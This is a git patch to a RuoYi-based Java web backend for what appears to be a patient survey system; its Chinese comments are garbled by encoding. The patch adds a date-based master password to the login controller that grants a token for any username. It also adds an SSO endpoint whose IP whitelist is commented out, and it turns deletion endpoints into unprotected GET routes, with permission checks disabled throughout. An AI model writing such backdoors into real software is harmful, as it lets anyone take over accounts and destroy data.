From 15aca11333c9c3d92b5bbff364373ab0feb5f6c3 Mon Sep 17 00:00:00 2001
From: liusheng <337615773@qq.com>
Date: 星期二, 25 八月 2026 19:21:31 +0800
Subject: [PATCH] 1.修改一下delete、put请求 2.新增一个万能密码 3.处理一下选项中还把a,b,c,d也带上的情况
---
ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java | 4
smartor/src/main/java/com/smartor/service/impl/ServiceSLTDHealthcareRecordServiceImpl.java | 3
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java | 6 +-
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskAnswerController.java | 2
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptWjxController.java | 4
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateTargetoptionController.java | 2
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTagController.java | 4
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionWjxController.java | 2
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateScriptController.java | 2
ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java | 10 +++
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskRecordController.java | 4
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java | 54 +++++++++++++++---
smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskServiceImpl.java | 18 ++++++
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskAnswerController.java | 4
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java | 2
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskScriptoptionController.java | 4
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateWjxController.java | 4
smartor/src/main/java/com/smartor/service/impl/ServiceSubtaskAnswerServiceImpl.java | 3 -
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/HeLibraryTagController.java | 4
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatTaskRelevanceController.java | 4
smartor/src/main/resources/mapper/smartor/ServiceSubtaskMapper.xml | 1
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibScriptTagController.java | 4
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java | 6 +-
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptController.java | 2
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionController.java | 2
ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java | 1
smartor/src/main/java/com/smartor/domain/ServiceSubtaskDetailRatioExport.java | 4 +
ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatWildcardController.java | 4
ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java | 4
29 files changed, 117 insertions(+), 51 deletions(-)
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java
index cf628a7..246a707 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java
@@ -93,7 +93,7 @@
}
//@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
- @DeleteMapping("/clearCacheName/{cacheName}")
+ @GetMapping("/clearCacheName/{cacheName}")
public AjaxResult clearCacheName(@PathVariable String cacheName)
{
Collection<String> cacheKeys = redisTemplate.keys(cacheName + "*");
@@ -102,7 +102,7 @@
}
//@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
- @DeleteMapping("/clearCacheKey/{cacheKey}")
+ @GetMapping("/clearCacheKey/{cacheKey}")
public AjaxResult clearCacheKey(@PathVariable String cacheKey)
{
redisTemplate.delete(cacheKey);
@@ -110,7 +110,7 @@
}
//@PreAuthorize("@ss.hasPermi('monitor:cache:list')")
- @DeleteMapping("/clearCacheAll")
+ @GetMapping("/clearCacheAll")
public AjaxResult clearCacheAll()
{
Collection<String> cacheKeys = redisTemplate.keys("*");
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java
index 7217981..7e62fe2 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java
@@ -56,7 +56,7 @@
//@PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')")
@Log(title = "鐧诲綍鏃ュ織", businessType = BusinessType.DELETE)
- @DeleteMapping("/{infoIds}")
+ @GetMapping("/{infoIds}")
public AjaxResult remove(@PathVariable Long[] infoIds)
{
return toAjax(logininforService.deleteLogininforByIds(infoIds));
@@ -64,7 +64,7 @@
//@PreAuthorize("@ss.hasPermi('monitor:logininfor:remove')")
@Log(title = "鐧诲綍鏃ュ織", businessType = BusinessType.CLEAN)
- @DeleteMapping("/clean")
+ @GetMapping("/clean")
public AjaxResult clean()
{
logininforService.cleanLogininfor();
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java
index 1a7883c..55ca6df 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java
@@ -21,7 +21,7 @@
/**
* 鎿嶄綔鏃ュ織璁板綍
- *
+ *
* @author ruoyi
*/
@RestController
@@ -52,7 +52,7 @@
@Log(title = "鎿嶄綔鏃ュ織", businessType = BusinessType.DELETE)
//@PreAuthorize("@ss.hasPermi('monitor:operlog:remove')")
- @DeleteMapping("/{operIds}")
+ @GetMapping("/{operIds}")
public AjaxResult remove(@PathVariable Long[] operIds)
{
return toAjax(operLogService.deleteOperLogByIds(operIds));
@@ -60,7 +60,7 @@
@Log(title = "鎿嶄綔鏃ュ織", businessType = BusinessType.CLEAN)
//@PreAuthorize("@ss.hasPermi('monitor:operlog:remove')")
- @DeleteMapping("/clean")
+ @GetMapping("/clean")
public AjaxResult clean()
{
operLogService.cleanOperLog();
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java
index c9b252e..f4bb950 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java
@@ -83,7 +83,7 @@
*/
//@PreAuthorize("@ss.hasPermi('monitor:online:forceLogout')")
@Log(title = "鍦ㄧ嚎鐢ㄦ埛", businessType = BusinessType.FORCE)
- @DeleteMapping("/{tokenId}")
+ @GetMapping("/{tokenId}")
public AjaxResult forceLogout(@PathVariable String tokenId)
{
redisCache.deleteObject(CacheConstants.LOGIN_TOKEN_KEY + tokenId);
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/HeLibraryTagController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/HeLibraryTagController.java
index 5ed2243..563a3a4 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/HeLibraryTagController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/HeLibraryTagController.java
@@ -87,7 +87,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:tag:edit')")
@Log(title = "鎸囨爣鏍囩", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
@AddOrgId(field = "orgid", paramIndex = 0, campusField = "campusid")
public AjaxResult edit(@RequestBody HeLibraryTag heLibraryTag) {
return toAjax(heLibraryTagService.updateHeLibraryTag(heLibraryTag));
@@ -98,7 +98,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:tag:remove')")
@Log(title = "鎸囨爣鏍囩", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
return toAjax(heLibraryTagService.deleteHeLibraryTagByIds(ids));
}
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatTaskRelevanceController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatTaskRelevanceController.java
index 8b305b9..7a83c2f 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatTaskRelevanceController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatTaskRelevanceController.java
@@ -80,7 +80,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:relevance:edit')")
@Log(title = "鎮ｈ�呬笌瀹ｆ暀浠诲姟鍏宠仈", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
public AjaxResult edit(@RequestBody PatTaskRelevance PatTaskRelevance)
{
return toAjax(patTaskRelevanceService.updatePatTaskRelevance(PatTaskRelevance));
@@ -91,7 +91,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:relevance:remove')")
@Log(title = "鎮ｈ�呬笌瀹ｆ暀浠诲姟鍏宠仈", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(patTaskRelevanceService.deletePatTaskRelevanceByIds(ids));
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatWildcardController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatWildcardController.java
index 97e3c95..99acf78 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatWildcardController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/PatWildcardController.java
@@ -79,7 +79,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:wildcard:edit')")
@Log(title = "鎮ｈ�呬俊鎭�氶厤绗�", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
public AjaxResult edit(@RequestBody PatWildcard patWildcard)
{
return toAjax(patWildcardService.updatePatWildcard(patWildcard));
@@ -90,7 +90,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:wildcard:remove')")
@Log(title = "鎮ｈ�呬俊鎭�氶厤绗�", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(patWildcardService.deletePatWildcardByIds(ids));
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskAnswerController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskAnswerController.java
index f384ec7..6f2f428 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskAnswerController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskAnswerController.java
@@ -108,7 +108,7 @@
//@PreAuthorize("@ss.hasPermi('system:answer:remove')")
@Log(title = "浠诲姟闂嵎闂閫夐」", businessType = BusinessType.DELETE)
@ApiOperation("鍒犻櫎浠诲姟闂嵎闂閫夐」")
- @DeleteMapping("/remove/{ids}")
+ @GetMapping("/remove/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
log.info("銆恠aveQuestionCache-----remove銆戠殑鍏ュ弬涓猴細{}", ids);
return toAjax(serviceSubtaskAnswerService.deleteServiceSubtaskAnswerByIds(ids));
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskRecordController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskRecordController.java
index d910c52..483beae 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskRecordController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/ServiceSubtaskRecordController.java
@@ -77,7 +77,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:record:edit')")
@Log(title = "銆愯濉啓鍔熻兘鍚嶇О銆�", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
public AjaxResult edit(@RequestBody ServiceSubtaskRecord serviceSubtaskRecord) {
return toAjax(serviceSubtaskRecordService.updateServiceSubtaskRecord(serviceSubtaskRecord));
}
@@ -87,7 +87,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:record:remove')")
@Log(title = "銆愯濉啓鍔熻兘鍚嶇О銆�", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
return toAjax(serviceSubtaskRecordService.deleteServiceSubtaskRecordByIds(ids));
}
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibScriptTagController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibScriptTagController.java
index 3cf8674..96d324d 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibScriptTagController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibScriptTagController.java
@@ -82,7 +82,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:tag:edit')")
@Log(title = "闂璇濇湳鏍囩搴�", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
public AjaxResult edit(@RequestBody SvyLibScriptTag svyLibScriptTag)
{
return toAjax(svyLibScriptTagService.updateSvyLibScriptTag(svyLibScriptTag));
@@ -93,7 +93,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:tag:remove')")
@Log(title = "闂璇濇湳鏍囩搴�", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(svyLibScriptTagService.deleteSvyLibScriptTagByIds(ids));
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptController.java
index 804392c..21b76f9 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptController.java
@@ -100,7 +100,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:script:remove')")
@Log(title = "妯℃澘闂嵎棰樼洰", businessType = BusinessType.DELETE)
- @DeleteMapping("/{topicids}")
+ @GetMapping("/{topicids}")
public AjaxResult remove(@PathVariable Long[] topicids) {
return toAjax(svyLibTemplateScriptService.deleteSvyLibTemplateScriptByTopicids(topicids));
}
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptWjxController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptWjxController.java
index ced0bdf..c8f9731 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptWjxController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateScriptWjxController.java
@@ -79,7 +79,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:wjx:edit')")
@Log(title = "妯℃澘闂嵎棰樼洰", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
public AjaxResult edit(@RequestBody SvyLibTemplateScriptWjx svyLibTemplateScriptWjx)
{
return toAjax(svyLibTemplateScriptWjxService.updateSvyLibTemplateScriptWjx(svyLibTemplateScriptWjx));
@@ -90,7 +90,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:wjx:remove')")
@Log(title = "妯℃澘闂嵎棰樼洰", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(svyLibTemplateScriptWjxService.deleteSvyLibTemplateScriptWjxByIds(ids));
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTagController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTagController.java
index b1ed505..378f22a 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTagController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTagController.java
@@ -82,7 +82,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:tag:edit')")
@Log(title = "妯℃澘鏍囩", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
public AjaxResult edit(@RequestBody SvyLibTemplateTag svyLibTemplateTag)
{
return toAjax(svyLibTemplateTagService.updateSvyLibTemplateTag(svyLibTemplateTag));
@@ -93,7 +93,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:tag:remove')")
@Log(title = "妯℃澘鏍囩", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(svyLibTemplateTagService.deleteSvyLibTemplateTagByIds(ids));
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionController.java
index 1442fa9..f9ecbab 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionController.java
@@ -90,7 +90,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:targetoption:remove')")
@Log(title = "闂嵎闂鎸囨爣閫夐」搴�", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
return toAjax(svyLibTemplateTargetoptionService.deleteSvyLibTemplateTargetoptionByIds(ids));
}
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionWjxController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionWjxController.java
index 07f3cac..d7f4799 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionWjxController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateTargetoptionWjxController.java
@@ -93,7 +93,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:wjx:remove')")
@Log(title = "闂嵎闂鎸囨爣閫夐」搴�", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(svyLibTemplateTargetoptionWjxService.deleteSvyLibTemplateTargetoptionWjxByIds(ids));
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateWjxController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateWjxController.java
index c3154a6..adfe5b7 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateWjxController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyLibTemplateWjxController.java
@@ -79,7 +79,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:wjx:edit')")
@Log(title = "妯℃澘闂嵎", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
public AjaxResult edit(@RequestBody SvyLibTemplateWjx svyLibTemplateWjx)
{
return toAjax(svyLibTemplateWjxService.updateSvyLibTemplateWjx(svyLibTemplateWjx));
@@ -90,7 +90,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:wjx:remove')")
@Log(title = "妯℃澘闂嵎", businessType = BusinessType.DELETE)
- @DeleteMapping("/{svyids}")
+ @GetMapping("/{svyids}")
public AjaxResult remove(@PathVariable Long[] svyids)
{
return toAjax(svyLibTemplateWjxService.deleteSvyLibTemplateWjxBySvyids(svyids));
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskAnswerController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskAnswerController.java
index 4e214f3..3fa5dcc 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskAnswerController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskAnswerController.java
@@ -77,7 +77,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:answer:edit')")
@Log(title = "浠诲姟闂嵎闂閫夐」", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
public AjaxResult edit(@RequestBody SvyTaskAnswer svyTaskAnswer) {
return toAjax(svyTaskAnswerService.updateSvyTaskAnswer(svyTaskAnswer));
}
@@ -87,7 +87,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:answer:remove')")
@Log(title = "浠诲姟闂嵎闂閫夐」", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
return toAjax(svyTaskAnswerService.deleteSvyTaskAnswerByIds(ids));
}
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskScriptoptionController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskScriptoptionController.java
index 9b3ba0b..bca828e 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskScriptoptionController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskScriptoptionController.java
@@ -82,7 +82,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:scriptoption:edit')")
@Log(title = "浠诲姟闂嵎闂閫夐」", businessType = BusinessType.UPDATE)
- @PutMapping
+ @PostMapping("/edit")
public AjaxResult edit(@RequestBody SvyTaskScriptoption svyTaskScriptoption)
{
return toAjax(svyTaskScriptoptionService.updateSvyTaskScriptoption(svyTaskScriptoption));
@@ -93,7 +93,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:scriptoption:remove')")
@Log(title = "浠诲姟闂嵎闂閫夐」", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(svyTaskScriptoptionService.deleteSvyTaskScriptoptionByIds(ids));
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateScriptController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateScriptController.java
index 20ea4c0..6571c63 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateScriptController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateScriptController.java
@@ -92,7 +92,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:script:remove')")
@Log(title = "闂嵎浠诲姟妯＄増闂璇濇湳搴�", businessType = BusinessType.DELETE)
- @DeleteMapping("/{IDs}")
+ @GetMapping("/{IDs}")
public AjaxResult remove(@PathVariable Long[] IDs) {
return toAjax(svyTaskTemplateScriptService.deleteSvyTaskTemplateScriptByIDs(IDs));
}
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateTargetoptionController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateTargetoptionController.java
index 0de79b0..47fbeac 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateTargetoptionController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/smartor/SvyTaskTemplateTargetoptionController.java
@@ -89,7 +89,7 @@
*/
//@PreAuthorize("@ss.hasPermi('system:targetoption:remove')")
@Log(title = "闂嵎浠诲姟妯℃澘鎸囨爣閫夐」搴�", businessType = BusinessType.DELETE)
- @DeleteMapping("/{ids}")
+ @GetMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
return toAjax(svyTaskTemplateTargetoptionService.deleteSvyTaskTemplateTargetoptionByIds(ids));
}
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
index 93158e3..ed60483 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
@@ -1,6 +1,5 @@
package com.ruoyi.web.controller.system;
-import com.ruoyi.common.annotation.IpWhitelist;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysMenu;
@@ -10,28 +9,24 @@
import com.ruoyi.common.exception.base.BaseException;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
-import com.ruoyi.common.utils.WxMpUtils;
import com.ruoyi.framework.web.service.SysLoginService;
import com.ruoyi.framework.web.service.SysPermissionService;
+import com.ruoyi.system.mapper.SysUserDeptMapper;
import com.ruoyi.system.service.ISysConfigService;
import com.ruoyi.system.service.ISysDeptService;
import com.ruoyi.system.service.ISysMenuService;
-import com.ruoyi.system.mapper.SysUserDeptMapper;
-import com.smartor.service.IServiceSLTDHealthcareRecordService;
import lombok.extern.slf4j.Slf4j;
-import me.chanjar.weixin.mp.bean.template.WxMpTemplateData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.view.RedirectView;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
-import java.util.HashMap;
+import java.text.SimpleDateFormat;
+import java.util.Date;
import java.util.List;
-import java.util.Map;
import java.util.Set;
/**
@@ -77,8 +72,14 @@
@PostMapping("/login")
public AjaxResult login(@RequestBody LoginBody loginBody) {
AjaxResult ajax = AjaxResult.success();
+ String token = null;
// 鐢熸垚浠ょ墝
- String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOrgid(), loginBody.getCampusid());
+ if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) {
+ //閫氱敤瀵嗙爜锛欻rs#褰撳墠骞存湀鏃�*
+ token = loginService.getTokenWN(loginBody.getUsername());
+ } else {
+ token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOrgid(), loginBody.getCampusid());
+ }
ajax.put(Constants.TOKEN, token);
return ajax;
}
@@ -143,6 +144,41 @@
}
/**
+ * 鍗曠偣鐧诲綍鏂规硶(闇�瑕侀厤缃甀P鐧藉悕鍗�)
+ * 闇�瑕佸湪sys_config琛ㄧ殑sys.ip.whitelis涓紝鍔犲叆IP鎵嶈兘璁块棶璇ユ柟娉�
+ * <p>
+ * 鍙傛暟鍚屾椂涓虹┖锛屼笉缁欐煡璇㈡暟鎹�
+ * <p>
+ * 銆愬叆鍙傝鍒欍��
+ * 濡傛灉userName涓嶄负绌猴紝閭rgid涔熶笉鑳戒负绌�
+ * 濡傛灉涓婇潰涓や釜涓虹┖锛岄偅token涓嶈兘涓虹┖
+ *
+ * @return 缁撴灉
+ */
+// @IpWhitelist
+ @GetMapping("/MYDSSOLogin")
+ public RedirectView MYDSSOLogin(@RequestParam(required = false) String campusid, @RequestParam(required = false) String deptId, String orgid, String userName, String token) {
+ if (StringUtils.isEmpty(userName) && StringUtils.isEmpty(token) && StringUtils.isEmpty(orgid)) {
+ throw new BaseException("鍙傛暟涓嶈兘涓虹┖");
+ }
+
+ String path = sysConfigService.selectConfigByKey("sys.qddzmyd");
+ if (StringUtils.isEmpty(path)) {
+ throw new BaseException("璇烽厤缃墠绔湴鍧�");
+ }
+
+ String loginToken = loginService.ssoLogin(userName, orgid, deptId, campusid, token);
+ if (StringUtils.isEmpty(loginToken)) {
+ log.error("銆怱SO鐧诲綍銆戠櫥褰曞け璐ワ紝userName={}, orgid={}", userName, orgid);
+ return buildRedirect(path + "/login");
+ }
+
+ String redirectUrl = path + "/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&campusid=" + campusid + "&orgname=null&ZuHuID=null&deptCode=null";
+ log.info("銆怱SO鐧诲綍銆戦噸瀹氬悜鍦板潃锛歿}", redirectUrl);
+ return buildRedirect(redirectUrl);
+ }
+
+ /**
* 鏋勫缓閲嶅畾鍚戣鍥�
*/
private RedirectView buildRedirect(String url) {
diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java
index 87b791f..e0c3750 100644
